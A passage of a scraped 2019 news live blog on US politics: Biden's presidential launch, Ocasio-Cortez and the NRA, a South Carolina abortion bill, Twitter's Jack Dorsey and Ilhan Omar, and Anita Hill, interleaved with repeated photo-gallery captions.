but has faced tough questions on her past comments on LGBT+ rights and her stance on Syrian President Bashar al-Assad Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Pete Buttigieg The centrist Indiana mayor and war veteran would be the first openly LGBT+ president in American history Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Deval Patrick The former Massachusetts governor launched a late 2020 candidacy and received very little reception. With just a few short months until the first voters flock to the polls, the former governor is running as a centrist and believes he can unite the party's various voting blocs AFP/Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Beto O'Rourke The former Texas congressman formally launched his bid for the presidency in March. He ran on a progressive platform, stating that the US is driven by "gross differences in opportunity and outcome" AP The Democrat challengers to Trump in 2020 DROPPED OUT: Kamala Harris The former California attorney general was introduced to the national stage during Jeff Sessions testimony. She has endorsed Medicare-for-all and proposed a major tax-credit for the middle class AFP/Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Bill De Blasio The New York mayor announced his bid on 16 May 2019. He emerged in 2013 as a leading voice in the left wing of his party but struggled to build a national profile and has suffered a number of political setbacks in his time as mayor AFP/Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Steve Bullock The Montana governor announced his bid on 14 May. He stated "We need to defeat Donald Trump in 2020 and defeat the corrupt system that lets campaign money drown out the people's voice, so we can finally make good on the promise of a fair shot for everyone." He also highlighted the fact that he won the governor's seat in a red [Republican] state Reuters The Democrat challengers to Trump in 2020 DROPPED OUT: Cory Booker The New Jersey Senator has focused on restoring kindness and civility in American politics throughout his campaign, though he has failed to secure the same level of support and fundraising as several other senators running for the White House in 2020 Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Wayne Messam Mayor of the city of Miramar in the Miami metropolitan area, Wayne Messam said he intended to run on a progressive platform against the "broken" federal government. He favours gun regulations and was a signatory to a letter from some 400 mayors condemning President Trump's withdrawal from the Paris Climate Accord Vice News The Democrat challengers to Trump in 2020 DROPPED OUT: Kirsten Gillibrand The New York Senator formally announced her presidential bid in January, saying that healthcare should be a right, not a privilege Getty The Democrat challengers to Trump in 2020 DROPPED OUT: John Delaney The Maryland congressman was the first to launch his bid for presidency, making the announcement in 2017 AP The Democrat challengers to Trump in 2020 DROPPED OUT: Andrew Yang The entrepreneur announced his presidential candidacy by pledging that he would introduce a universal basic income of $1,000 a month to every American over the age of 18 Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Julian Castro The former San Antonio mayor announced his candidacy in January and said that his running has a special meaning for the Latino community in the US Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Marianne Williamson The author and spiritual adviser has announced her intention to run for president. She had previously run for congress as an independent in 2014 but was unsuccessful Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Eric Swalwell One of the younger candidates, Swalwell has served on multiple committees in the House of Representatives. He intended to make gun control central to his campaign but dropped out after his team said it was clear there was no path to victory Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Seth Moulton A Massachusetts congressman, Moulton is a former US soldier who is best known for trying to stop Nancy Pelosi from becoming speaker of the house. He dropped out of the race after not polling well in key states Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Jay Inslee Inslee has been governor of Washington since 2013. His bid was centred around climate change AFP/Getty The Democrat challengers to Trump in 2020 DROPPED OUT: John Hickenlooper The former governor of Colorado aimed to sell himself as an effective leader who was open to compromise, but failed to make a splash on the national stage Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Tim Ryan Ohio representative Tim Ryan ran on a campaign that hinged on his working class roots, though his messaging did not appear to resonate with voters Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Tom Steyer Democratic presidential hopeful billionaire and philanthropist Tom Steyer is a longtime Democratic donor AFP/Getty Mr Trump, who had said that both sides were to blame for the Charlottesville violence, was quick to respond, revealing what may become his nickname of choice for Mr Biden, should he end up facing him. Welcome to the race Sleepy Joe. I only hope you have the intelligence, long in doubt, to wage a successful primary campaign, the president tweeted. It will be nasty you will be dealing with people who truly have some very sick and demented ideas. But if you make it, I will see you at the starting gate. Even before he officially entered, Mr Biden led among a large pool of declared and Democratic candidates, well ahead of Bernie Sanders, Kamala Harris, Elizabeth Warren, Pete Buttigieg and Beto ORourke. As someone positioned to centre left of the Democratic field, though not a solid progressive, it is likely he could take support from many of his rivals. Along with his name recognition, Mr Biden will expect to earn the votes of some African American voters, especially older ones, who admired the way he served Barack Obama as a loyal vice president. Asked whether he had received or sought the endorsement of the man with whom for eight years he ate lunch every week, he said he had asked him not to publicly back him. Whoever wins this nomination should win it on their own merits, said Mr Biden, who has labelled himself an Obama-Biden Democrat. As it was, Mr Obama who reportedly persuaded Mr Biden not to run in 2016 as he felt Hillary Clinton would be a better successor let it be known on Thursday through a spokesman he had always valued Mr Bidens knowledge, insight, and judgment throughout both campaigns and the entire presidency. Saturday Night Live tackles Joe Biden unwanted touching allegations Mr Biden may start at the top of the polls of Democratic voters, but winning the partys nomination is far from a given. Many will question whether, at the age of 76, he has left it too late to make another presidential bid. After a career in politics spanning more than four decades, Mr Biden also has lots of baggage that will be scrutnised. Among this will be his associations with big businesses and corporations that have previously backed his campaigns, his championing of a 1994 crime bill that disproportionately impacted communities of colour, and his 1991 questioning of Anita Hill during the confirmation hearing for Supreme Court Justice Clarence Thomas. Many have accused him of misogyny and racism over the episode. On Thursday, the New York Times reported Mr Biden had called Ms Hill to apologise. She had not been quick to forgive him. I cannot be satisfied by simply saying Im sorry for what happened to you. I will be satisfied when I know there is real change and real accountability and real purpose, she told the newspaper. More recently, a number of women have come forward to highlight instances of so-called inappropriate touching by Mr Biden, something he apologised for and for which he is referred to by some as Creepy Joe. Many in the progressive wing of the Democratic Party, fresh from a victory in the 2018 midterms that saw greater number of women and people of colour elected to congress than ever before, believe Mr Bidens candidacy would not represent the future. Joe Biden is going to regret this decision, Matt Gorman, a former official at the National Republican Congressional Committee, an arm of the Republican Party, told Reuters. His candidacy will not only rehash his very long record in public life, but allow his opponents to subtly argue he is too old and too moderate to be the Democratic standard-bearer. The Progressive Change Campaign Committee, which backs senator Elizabeth Warren of Massachusetts, said Mr Bidens centrist record could be a hindrance. Adam Green, the groups co-founder, said: If Joe Biden positions himself as the political insider from yesteryear who says big ideas like universal childcare, student debt relief and a wealth tax on ultra-millionaires are not possible, he would be an easy foil. Joe Biden has said he asked former US president Barack Obama not to endorse his presidential campaign because whoever wins should do so on their own merit. I asked President Obama not to endorse. Whoever wins this nomination should win it on their own merit, the former vice president told reporters in Wilmington, Delaware, on Thursday. When asked what made him the best choice for the Democrats, he fired back: That will be for the Democrats to decide. The 76-year-olds comments came after Mr Obama released a statement praising Mr Biden, who announced he was joining the race for the Democratic nomination on Thursday. A spokeswoman for the former US president said: President Obama has long said that selecting Joe Biden as his running mate in 2008 was one of the best decisions he ever made. The Democrat challengers to Trump in 2020 Show all 25 1 /25 The Democrat challengers to Trump in 2020 The Democrat challengers to Trump in 2020 Bernie Sanders The Vermont senator has launched a second bid for president after losing out to Hilary Clinton in the 2016 Democratic primaries. He is running on a similar platform of democratic socialist reform Getty The Democrat challengers to Trump in 2020 Joe Biden The former vice president recently faced scrutiny for inappropriate touching of women, but was thought to deal with the criticism well and has since maintained a front runner status in national polling EPA The Democrat challengers to Trump in 2020 Elizabeth Warren The Massachusetts senator is a progressive Democrat, and a major supporter of regulating Wall Street Reuters The Democrat challengers to Trump in 2020 Amy Klobuchar Klobuchar is a Minnesota senator who earned praise for her contribution to the Brett Kavanaugh hearings Getty The Democrat challengers to Trump in 2020 Michael Bloomberg Michael Bloomberg, a late addition to the 2020 race, announced his candidacy after months of speculation in November. He has launched a massive ad-buying campaign and issued an apology for the controversial "stop and frisk" programme that adversely impacted minority communities in New York City when he was mayor Getty Images The Democrat challengers to Trump in 2020 Tulsi Gabbard The Hawaii congresswoman announced her candidacy in January, but has faced tough questions on her past comments on LGBT+ rights and her stance on Syrian President Bashar al-Assad Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Pete Buttigieg The centrist Indiana mayor and war veteran would be the first openly LGBT+ president in American history Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Deval Patrick The former Massachusetts governor launched a late 2020 candidacy and received very little reception. With just a few short months until the first voters flock to the polls, the former governor is running as a centrist and believes he can unite the party's various voting blocs AFP/Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Beto O'Rourke The former Texas congressman formally launched his bid for the presidency in March. He ran on a progressive platform, stating that the US is driven by "gross differences in opportunity and outcome" AP The Democrat challengers to Trump in 2020 DROPPED OUT: Kamala Harris The former California attorney general was introduced to the national stage during Jeff Sessions testimony. She has endorsed Medicare-for-all and proposed a major tax-credit for the middle class AFP/Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Bill De Blasio The New York mayor announced his bid on 16 May 2019. He emerged in 2013 as a leading voice in the left wing of his party but struggled to build a national profile and has suffered a number of political setbacks in his time as mayor AFP/Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Steve Bullock The Montana governor announced his bid on 14 May. He stated "We need to defeat Donald Trump in 2020 and defeat the corrupt system that lets campaign money drown out the people's voice, so we can finally make good on the promise of a fair shot for everyone." He also highlighted the fact that he won the governor's seat in a red [Republican] state Reuters The Democrat challengers to Trump in 2020 DROPPED OUT: Cory Booker The New Jersey Senator has focused on restoring kindness and civility in American politics throughout his campaign, though he has failed to secure the same level of support and fundraising as several other senators running for the White House in 2020 Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Wayne Messam Mayor of the city of Miramar in the Miami metropolitan area, Wayne Messam said he intended to run on a progressive platform against the "broken" federal government. He favours gun regulations and was a signatory to a letter from some 400 mayors condemning President Trump's withdrawal from the Paris Climate Accord Vice News The Democrat challengers to Trump in 2020 DROPPED OUT: Kirsten Gillibrand The New York Senator formally announced her presidential bid in January, saying that healthcare should be a right, not a privilege Getty The Democrat challengers to Trump in 2020 DROPPED OUT: John Delaney The Maryland congressman was the first to launch his bid for presidency, making the announcement in 2017 AP The Democrat challengers to Trump in 2020 DROPPED OUT: Andrew Yang The entrepreneur announced his presidential candidacy by pledging that he would introduce a universal basic income of $1,000 a month to every American over the age of 18 Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Julian Castro The former San Antonio mayor announced his candidacy in January and said that his running has a special meaning for the Latino community in the US Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Marianne Williamson The author and spiritual adviser has announced her intention to run for president. She had previously run for congress as an independent in 2014 but was unsuccessful Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Eric Swalwell One of the younger candidates, Swalwell has served on multiple committees in the House of Representatives. He intended to make gun control central to his campaign but dropped out after his team said it was clear there was no path to victory Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Seth Moulton A Massachusetts congressman, Moulton is a former US soldier who is best known for trying to stop Nancy Pelosi from becoming speaker of the house. He dropped out of the race after not polling well in key states Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Jay Inslee Inslee has been governor of Washington since 2013. His bid was centred around climate change AFP/Getty The Democrat challengers to Trump in 2020 DROPPED OUT: John Hickenlooper The former governor of Colorado aimed to sell himself as an effective leader who was open to compromise, but failed to make a splash on the national stage Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Tim Ryan Ohio representative Tim Ryan ran on a campaign that hinged on his working class roots, though his messaging did not appear to resonate with voters Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Tom Steyer Democratic presidential hopeful billionaire and philanthropist Tom Steyer is a longtime Democratic donor AFP/Getty He relied on the vice presidents knowledge, insight and judgment throughout both campaigns and the entire presidency. The two forged a special bond over the last 10 years and remain close today. Then-US vice president Joe Biden jokes with Barack Obama in 2015 (Getty) Mr Biden, who immediately became a frontrunner alongside Vermont senator Bernie Saunders, declared the soul of the nation would be at stake if Donald Trump was re-elected. In a video posted on Twitter, Mr Biden focused on the 2017 deadly clash between white supremacists and counter-protesters in Charlottesville, Virginia. Mr Biden noted Mr Trumps comments that there were some very fine people on both sides of the violent encounter, which left one woman dead. We are in the battle for the soul of this nation, he said. If we give Donald Trump eight years in the White House, he will forever and fundamentally alter the character of this nation who we are. I cannot stand by and watch that happen. Mr Trump was quick to hit back, dubbing Mr Biden Sleepy Joe. He tweeted: I only hope you have the intelligence, long in doubt, to wage a successful primary campaign. It will be nasty you will be dealing with people who truly have some very sick & demented ideas. But if you make it, I will see you at the Starting Gate! Democratic congresswoman Alexandria Ocasio-Cortez has rejected claims from the NRA she does not real Americans, saying just because her constituents do not want assault weapons in schools they still belong to the same country. Speaking at the annual convention of the National Rifle Association (NRA) in Indianapolis, Chris Cox, the gun industry groups chief lobbyist, claimed Ms Ocasio-Cortez and other progressives were trying to stop people from owning weapons, a claim that is not true. It used to be that everybody knew that campaigning as a gun-banning socialist was a surefire way to ship your own sink, I mean sink your own ship before it left harbour, he said. But this year, if you arent willing to openly attack the second amendment, if you dont angrily call for every gun ban scheme imaginable including complete disarmament, you will be booed off the Democrat debate stage. To loud cheers, he added: Friends, do you think Nancy Pelosi and Alexandria Ocasio-Cortez are mainstream in the United States of America? Are they in for a rude awakening in November of next year when the real America goes to the polls. Alexandria Ocasio-Cortez - the Democratic congresswoman in pictures Show all 15 1 /15 Alexandria Ocasio-Cortez - the Democratic congresswoman in pictures Alexandria Ocasio-Cortez - the Democratic congresswoman in pictures Alexandria Ocasio-Cortez greets fellow lawmakers ahead of the State of the Union address Getty Alexandria Ocasio-Cortez - the Democratic congresswoman in pictures Alexandria Ocasio-Cortez participates in an event with Democratic members of Congress EPA Alexandria Ocasio-Cortez - the Democratic congresswoman in pictures The Democrat senator speaks during a news conference at the U.S. Capitol January 30, 2019 Getty Alexandria Ocasio-Cortez - the Democratic congresswoman in pictures Alexandria Ocasio-Cortez and fellow Democrat Rashida Tlaib AP Alexandria Ocasio-Cortez - the Democratic congresswoman in pictures Alexandria Ocasio-Cortez at the Senate chamber to watch two votes on January 24, 2019 Getty Alexandria Ocasio-Cortez - the Democratic congresswoman in pictures Alexandria Ocasio-Cortez arrives with Chellie Pingree at a House Democratic Caucus meeting Getty Alexandria Ocasio-Cortez - the Democratic congresswoman in pictures Ocasio-Cortez during Donald Trump's State of the Union address Reuters Alexandria Ocasio-Cortez - the Democratic congresswoman in pictures New York State Assembly member Catalina Cruz with Ocasio-Cortez AFP/Getty Alexandria Ocasio-Cortez - the Democratic congresswoman in pictures Nydia Velazquez talks with Alexandria Ocasio-Cortez Reuters Alexandria Ocasio-Cortez - the Democratic congresswoman in pictures Ocasio-Cortez casts her vote for Nancy Pelosi as Speaker of the House EPA Alexandria Ocasio-Cortez - the Democratic congresswoman in pictures Alexandria Ocasio-Cortez poses with a campaign worker during a whistle stop in the Queens borough of New York Reuters Alexandria Ocasio-Cortez - the Democratic congresswoman in pictures Ocasio-Cortez outside the US Capitol AFP/Getty Alexandria Ocasio-Cortez - the Democratic congresswoman in pictures Ocasio-Cortez after casting her ballot in the 2018 midterm general election at a polling site in New York EPA Alexandria Ocasio-Cortez - the Democratic congresswoman in pictures Alexandria Ocasio-Cortez looks on during a march organised by the Women's March Alliance in Manhattan Reuters Alexandria Ocasio-Cortez - the Democratic congresswoman in pictures Ocasio Cortez looks on at the Capitol in Washington, DC, on January 16, 2019 AFP/Getty Ms Ocasio-Cortez, 29, who represents New Yorks 14th congressional district, has long supported greater gun regulation. After the mass shooting at a mosque in New Zealand that killed 50 people, she posted a tweet that called for universal background checks, the disarming of domestic abusers, mandatory safe storage of firearms and a ban on bump stocks, semiautomatic weapons and high capacity magazines. Nancy Pelosi says 'glass of water' could win in Alexandria Ocasio-Cortez's district Gun rights supporters claim the second amendment of the constitution gives them the right to own weapons. Contrary to claims on a number of conservative media outlets, Ms Ocasio-Cortez has never said owning gun was not a constitutional right. On Friday, the congresswoman responded to Mr Cox with a tweet. Civics lesson for the NRA: As much as they may not like it, the Bronx and Queens are part of the real America too, she wrote. Wild that the NRA is suggesting the voters of NY-14 arent real Americans b/c they dont think assault weapons in school classrooms is a good idea. The South Carolina state House passed a bill which prohibits abortion when a heartbeat is detectable. Current law in South Carolina permits abortion up to 20 weeks. This bill, called the South Carolina Fetal Heartbeat Protection from Abortion Act reduces that to a mere six weeks, before many women know that they are pregnant, with exceptions for rape, incest, and if the pregnancy endangers the life or health of the woman. This bill is not the first of its kind, heartbeat abortion bills are becoming more popular in states like Kentucky, Mississippi, Ohio, Georgia, Oklahoma, and now, South Carolina where the bill passed along party lines. Despite their increasing popularity, heartbeat bills are hard to enforce due to questions on the constitutionality of abortion restrictions beyond those outlined in Roe V. Wade. Anti-choice bills similar to this one have been introduced in the South Carolina state legislature previously, but died before making it to the floor. Despite this bill passing in one chamber of the state legislature, as the 2019 legislative session is ending, it is unlikely the state Senate will have the opportunity to take it up for a vote. Support free-thinking journalism and attend Independent events Republican governor Henry McMaster has pledged to sign the heartbeat abortion bill into law if it crosses his desk. What is making its way through suits me fine- its pro-life. This is a pro-life state and I will be glad to sign that bill, Mr McMaster said. Supreme Court strikes down abortion restrictions Show all 23 1 /23 Supreme Court strikes down abortion restrictions Supreme Court strikes down abortion restrictions Abortion rights activists hold placards outside of the US Supreme Court ahead of an expected ruling on abortion clinic restrictions on June 27, 2016 in Washington, DC. Mandel Ngan/AFP/Getty Supreme Court strikes down abortion restrictions An abortion rights activist holds placards outside of the US Supreme Court before the Court struck down a Texas law placing restrictions on abortion clinics on June 27, 2016 in Washington, DC. The US Supreme Court on Monday struck down a Texas law placing a raft of restrictions on abortion clinics, handing a major victory to the "pro-choice" camp in the country's most important ruling on the divisive issue in a generation. Mandel Ngan/AFP/Getty Supreme Court strikes down abortion restrictions WASHINGTON, DC - JUNE 27: Pro-life activists pray on the steps of the United States Supreme Court on June 27, 2016 in Washington, DC. In a 5-3 decision, the U.S. Supreme Court struck down one of the nation's toughest restrictions on abortion, a Texas law that women's groups said would have forced more than three-quarters of the state's clinics to close. Pete Marovich/Getty Supreme Court strikes down abortion restrictions WASHINGTON, DC - JUNE 27: Texas abortion provider Amy Hagstrom-Miller looks on as Nancy Northup, President of The Center for Reproductive Rights speaks to the media outside of the U.S. Supreme Court on June 27, 2016 in Washington, DC. In a 5-3 decision, the U.S. Supreme Court struck down one of the nation's toughest restrictions on abortion, a Texas law that women's groups said would have forced more than three-quarters of the state's clinics to close. Pete Marovich/Getty Supreme Court strikes down abortion restrictions An abortion rights activist holds placards outside of the US Supreme Court before the Court struck down a Texas law placing restrictions on abortion clinics on June 27, 2016 in Washington, DC. The US Supreme Court on Monday struck down a Texas law placing a raft of restrictions on abortion clinics, handing a major victory to the "pro-choice" camp in the country's most important ruling on the divisive issue in a generation. Getty Supreme Court strikes down abortion restrictions Texas abortion provider Amy Hagstrom-Miller wipes a tear as she walks down the steps of the United States Supreme Court with Nancy Northup, President of The Center for Reproductive Rights on June 27, 2016 in Washington, DC. In a 5-3 decision, the U.S. Supreme Court struck down one of the nation's toughest restrictions on abortion, a Texas law that women's groups said would have forced more than three-quarters of the state's clinics to close. Pete Marovich/Getty Supreme Court strikes down abortion restrictions Abortion rights activists cheer after the US Supreme Court struck down a Texas law placing restrictions on abortion clinics, outside of the Supreme Court on June 27, 2016 in Washington, DC. In a case with far-reaching implications for millions of women across the United States, the court ruled 5-3 to strike down measures which activists say have forced more than half of Texas's abortion clinics to close. Mandel Ngan/AFP/Getty Supreme Court strikes down abortion restrictions Abortion rights activists cheer after the US Supreme Court struck down a Texas law placing restrictions on abortion clinics, outside of the Supreme Court on June 27, 2016 in Washington, DC. In a case with far-reaching implications for millions of women across the United States, the court ruled 5-3 to strike down measures which activists say have forced more than half of Texas's abortion clinics to close. Mandel Ngan/AFP/Getty Supreme Court strikes down abortion restrictions WASHINGTON, DC - JUNE 27: Abortion rights activists Morgan Hopkins of Boston, left, and Alison Turkos of New York City, celebrate on the steps of the United States Supreme Court on June 27, 2016 in Washington, DC. In a 5-3 decision, the U.S. Supreme Court struck down one of the nation's toughest restrictions on abortion, a Texas law that women's groups said would have forced more than three-quarters of the state's clinics to close. Pete Marovich/Getty Supreme Court strikes down abortion restrictions Abortion rights activists cheer after the US Supreme Court struck down a Texas law placing restrictions on abortion clinics, outside of the Supreme Court on June 27, 2016 in Washington, DC. In a case with far-reaching implications for millions of women across the United States, the court ruled 5-3 to strike down measures which activists say have forced more than half of Texas's abortion clinics to close. Getty Supreme Court strikes down abortion restrictions WASHINGTON, DC - JUNE 27: Abortion rights activists Morgan Hopkins of Boston, left, and Alison Turkos of New York City, celebrate on the steps of the United States Supreme Court on June 27, 2016 in Washington, DC. In a 5-3 decision, the U.S. Supreme Court struck down one of the nation's toughest restrictions on abortion, a Texas law that women's groups said would have forced more than three-quarters of the state's clinics to close. (Photo by Pete Marovich/Getty Images) Getty Images Supreme Court strikes down abortion restrictions Abortion rights activist Morgan Hopkins of Boston, celebrates on the steps of the United States Supreme Court on June 27, 2016 in Washington, DC. In a 5-3 decision, the U.S. Supreme Court struck down one of the nation's toughest restrictions on abortion, a Texas law that women's groups said would have forced more than three-quarters of the state's clinics to close. Pete Marovich/Getty Supreme Court strikes down abortion restrictions Abortion rights activists embrace after the US Supreme Court struck down a Texas law placing restrictions on abortion clinics, outside of the Supreme Court on June 27, 2016 in Washington, DC. In a case with far-reaching implications for millions of women across the United States, the court ruled 5-3 to strike down measures which activists say have forced more than half of Texas's abortion clinics to close. AFP/Getty Images Supreme Court strikes down abortion restrictions Abortion rights activists hold placards outside of the US Supreme Court ahead of a ruling on abortion clinic restrictions on June 27, 2016 in Washington, DC. In a case with far-reaching implications for millions of women across the United States, the court ruled 5-3 to strike down measures which activists say have forced more than half of Texas's abortion clinics to close. Mandel Ngan/AFP/Getty Supreme Court strikes down abortion restrictions In a case with far-reaching implications for millions of women across the United States, the court ruled 5-3 to strike down measures which activists say have forced more than half of Texas's abortion clinics to close. Mandel Ngan/AFP/Getty Supreme Court strikes down abortion restrictions Abortion rights activists cheer after the US Supreme Court struck down a Texas law placing restrictions on abortion clinics, outside of the Supreme Court on June 27, 2016 in Washington, DC. In a case with far-reaching implications for millions of women across the United States, the court ruled 5-3 to strike down measures which activists say have forced more than half of Texas's abortion clinics to close. AFP/Getty Images Supreme Court strikes down abortion restrictions Abortion rights activists cheer after the US Supreme Court struck down a Texas law placing restrictions on abortion clinics, outside of the Supreme Court on June 27, 2016 in Washington, DC. In a case with far-reaching implications for millions of women across the United States, the court ruled 5-3 to strike down measures which activists say have forced more than half of Texas's abortion clinics to close. / AFP / MANDEL NGAN (Photo credit should read MANDEL NGAN/AFP/Getty Images) AFP/Getty Images Supreme Court strikes down abortion restrictions Abortion rights activists cheer after the US Supreme Court struck down a Texas law placing restrictions on abortion clinics, outside of the Supreme Court on June 27, 2016 in Washington, DC. In a case with far-reaching implications for millions of women across the United States, the court ruled 5-3 to strike down measures which activists say have forced more than half of Texas's abortion clinics to close. / AFP / MANDEL NGAN (Photo credit should read MANDEL NGAN/AFP/Getty Images) AFP/Getty Images Supreme Court strikes down abortion restrictions Abortion rights activists embrace after the US Supreme Court struck down a Texas law placing restrictions on abortion clinics, outside of the Supreme Court on June 27, 2016 in Washington, DC. In a case with far-reaching implications for millions of women across the United States, the court ruled 5-3 to strike down measures which activists say have forced more than half of Texas's abortion clinics to close. AFP/Getty Images Supreme Court strikes down abortion restrictions Pro-choice activist, Alissa Manzoeillo, of Washington, D.C. waits for rulings in front of the U.S. Supreme Court on June 27, 2016 in Washington, DC. A ruling is expected in Whole Woman's Health v. Hellerstedt, a Texas case the places restrictions on abortion clinics, as well as rulings in the former Virginia Governor's corruption case and a gun rights case. Pete Marovich/Getty Supreme Court strikes down abortion restrictions Abortion rights activists cheer after the US Supreme Court struck down a Texas law placing restrictions on abortion clinics, outside of the Supreme Court on June 27, 2016 in Washington, DC. In a case with far-reaching implications for millions of women across the United States, the court ruled 5-3 to strike down measures which activists say have forced more than half of Texas's abortion clinics to close. Supreme Court strikes down abortion restrictions Abortion rights activists hold placards outside of the US Supreme Court ahead of an expected ruling on abortion clinic restrictions on June 27, 2016 in Washington, DC. AFP/Getty Images Supreme Court strikes down abortion restrictions Abortion rights activists hold placards outside of the US Supreme Court ahead of an expected ruling on abortion clinic restrictions on June 27, 2016 in Washington, DC. AFP/Getty Images South Carolina Democrat David Mack, who serves as a state representative, said. This waste of time is sickening to me. Mack continues, We go through this every year and the bottom line is, its a womans body and its her right to choose. Twitter chief executive Jack Dorsey phoned Ilhan Omar on Tuesday and stood by the companys decision to permit a tweet from President Donald Trump that later resulted in a flood of death threats targeting the congresswoman. The previously unreported call focused on an incendiary video that Trump shared on April 12, which depicts Ms Omar discussing the 9/11 attacks interspersed with footage of the Twin Towers burning. The clip did not include the full context of Ms Omars remarks, which were taken from a public event on the broader issue of Islamophobia. Ms Omar pressed Mr Dorsey to explain why Twitter didnt remove Trumps tweet outright, according to a person familiar with the conversation who spoke on condition of anonymity because the call was private. Mr Dorsey said that the presidents tweet didnt violate the companys rules, a second person from Twitter confirmed. Trump and Farage - a working friendship Show all 7 1 /7 Trump and Farage - a working friendship Trump and Farage - a working friendship Donald Trump and Nigel Farage pose in the golden elevator at Trump Tower on 12 November 2016, four days after Trump was elected president. Farage was the first British politician to meet with Trump after the election LeaveEUOffical/Twitter Trump and Farage - a working friendship Not long after their meeting at Trump Tower, then-president elect Trump tweeted in favour of Nigel Farage being appointed ambassador to the US Trump and Farage - a working friendship Farage appears at a Trump campaign rally in Jackson, Mississipi on 24 August 2016. Farage drew parallels between the recent vote for Brexit in the UK and a vote for Trump in the US, saying "they could take back control of their country, take back control of their borders and get back their pride and self-respect" Getty Images Trump and Farage - a working friendship Trump introduced Farage as "Mr. Brexit" Getty Images Trump and Farage - a working friendship President Trump with Nigel Farage when they met met face-to-face to discuss why the President should back a no-deal Brexit on 3 March 2019 PA Trump and Farage - a working friendship From left to right: Gerry Gunster (US pollster and campaign adviser to Leave.EU), Arron Banks (Leave.EU founder who is being investigated over the funding of the Brexit campaign), Donald Trump (then president-elect), Nigel Farage (then leader of UKIP), Andy Wigmore (communication director of Leave.EU) and Raheem Kassam (then-advisor to Farage and later UK editor of Breitbart news) Trump and Farage - a working friendship Farage and his adviser Raheem Kassam arrive to meet with Trump on November 12 2016 Getty Images He also pointed to the fact that the tweet and video already had been viewed and shared far beyond the site, one of the sources said. But the Twitter executive did tell Ms Omar that the tech giant needed to do a better job generally in removing hate and harassment from the site, according to the two people familiar with the call. On Thursday, a spokesman for Ms Omar declined to comment. Following the presidents tweet, Ms Omar said on 14 April that she had witnessed an increase in direct threats on my life many directly referencing or replying to the presidents video. Recommended Nancy Pelosi organised security review to protect Ilhan Omar Other Democratic leaders later condemned Mr Trump as well. In a statement, Twitter confirmed the call took place. During their conversation, [Mr Dorsey] emphasised that death threats, incitement to violence, and hateful conduct are not allowed on Twitter, the company said. Weve significantly invested in technology to proactively surface this type of content and will continue to focus on reducing the burden on the individual being targeted. Our team has also consistently been in touch with Rep Omars office. The White House did not respond to a request for comment. Mr Trump is one of Twitters most popular yet controversial users, whose political salvos are broadcast to nearly 60 million followers each day. Critics say his comments often violate site rules that prohibit hate speech, attacks on the basis of ones personal characteristics and incitements to violence. But Twitter ultimately has allowed the president to tweet without limit, arguing theres a public interest in allowing a head of state to communicate such views unfettered. President Trump attacks Ilhan Omar But in recent weeks, Twitter has signalled it is rethinking that policy. Company leaders recently said they are planning to institute a new approach that would provide more context around tweets that its rules would have prohibited but were permitted to remain on the site anyway because of the speaker. Such a policy could result in public notations on Trumps own tweets. Mr Dorseys outreach to Ms Omar came on the same day that the Twitter chief executive met with Trump at the White House, a meeting convened at the presidents invitation. During the conversation, Trump spent a significant amount of time raising his concerns that Twitter deliberately targets and removes his followers, the Washington Post previously reported. Trump has made those claims in connection with his belief that social media sites are biased against conservatives. But Mr Dorsey said that Twitters efforts to combat spam result in fluctuations in a users follower count, noting even he had been affected. Asked about that meeting, Twitter noted in a statement that Dorsey and the president also discussed the 2020 election and efforts to stop the opioid epidemic. A source at the time described the meeting as cordial. The Washington Post Anita Hill - the woman whose treatment during Justice Clarence Thomas Senate confirmation hearings Joe Biden has said he regrets - says she spoke with the former vice president this month in a phone call that left her feeling "deeply unsatisfied." She said she's unconvinced that he accepts the harm he caused her when he presided over a congressional hearing during Justice Thomas' Supreme Court confirmation process in 1991. In an interview with The New York Times published Thursday, Ms Hill said: "I cannot be satisfied by simply saying I'm sorry for what happened to you. I will be satisfied when I know there is real change and real accountability and real purpose." Ms Hill also said she cannot support Mr Biden until he takes responsibility for his actions. She told the newspaper shes "troubled" by allegations that he touched women in ways that made them uncomfortable. Mr Biden was chairman of the Senate Judiciary Committee during Hill's 1991 hearing, where she testified Justice Thomas had sexually harassed her. The Democrat challengers to Trump in 2020 Show all 25 1 /25 The Democrat challengers to Trump in 2020 The Democrat challengers to Trump in 2020 Bernie Sanders The Vermont senator has launched a second bid for president after losing out to Hilary Clinton in the 2016 Democratic primaries. He is running on a similar platform of democratic socialist reform Getty The Democrat challengers to Trump in 2020 Joe Biden The former vice president recently faced scrutiny for inappropriate touching of women, but was thought to deal with the criticism well and has since maintained a front runner status in national polling EPA The Democrat challengers to Trump in 2020 Elizabeth Warren The Massachusetts senator is a progressive Democrat, and a major supporter of regulating Wall Street Reuters The Democrat challengers to Trump in 2020 Amy Klobuchar Klobuchar is a Minnesota senator who earned praise for her contribution to the Brett Kavanaugh hearings Getty The Democrat challengers to Trump in 2020 Michael Bloomberg Michael Bloomberg, a late addition to the 2020 race, announced his candidacy after months of speculation in November. He has launched a massive ad-buying campaign and issued an apology for the controversial "stop and frisk" programme that adversely impacted minority communities in New York City when he was mayor Getty Images The Democrat challengers to Trump in 2020 Tulsi Gabbard The Hawaii congresswoman announced her candidacy in January, but has faced tough questions on her past comments on LGBT+ rights and her stance on Syrian President Bashar al-Assad Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Pete Buttigieg The 